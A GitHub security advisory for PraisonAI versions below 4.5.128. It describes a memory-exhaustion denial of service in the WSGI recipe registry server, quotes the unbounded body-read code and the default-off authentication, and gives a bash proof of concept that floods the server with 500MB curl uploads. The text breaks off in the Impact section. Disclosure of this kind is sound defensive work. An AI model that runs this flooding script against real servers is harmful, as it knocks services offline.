GitHub Security Advisory: GHSA-2xgv-5cv2-47vv
Package: PraisonAI (PIP)
Severity: MODERATE (CVSS 6.2)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS

Details:
## Summary

The WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection.

## Details

The vulnerable code path in `src/praisonai/praisonai/recipe/server.py`:

**1. No size limit on body read (line 551-555):**
```python
content_length = int(environ.get("CONTENT_LENGTH", 0))
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
```

The `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory.

**2. Second in-memory copy via multipart parsing (line 169-172):**
```python
result = {"fields": {}, "files": {}}
boundary_bytes = f"--{boundary}".encode()
parts = body.split(boundary_bytes)
```

The `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.

**3. Third copy to temp file (line 420-421):**
```python
with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
    tmp.write(bundle_content)
```

The bundle content is then written to disk and persisted in the registry, also without size checks.

**4. Authentication disabled by default (line 91-94):**
```python
def _check_auth(self, headers: Dict[str, str]) -> bool:
    if not self.token:
        return True  # No token configured = no auth
```

The `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI.

The entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default.

In contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.

## PoC

```bash
# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &

# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .

# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \
  -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'

# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
  curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \
    -F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killed
```

## Impact

- **Memory exhaustion**: A single large request can consume all av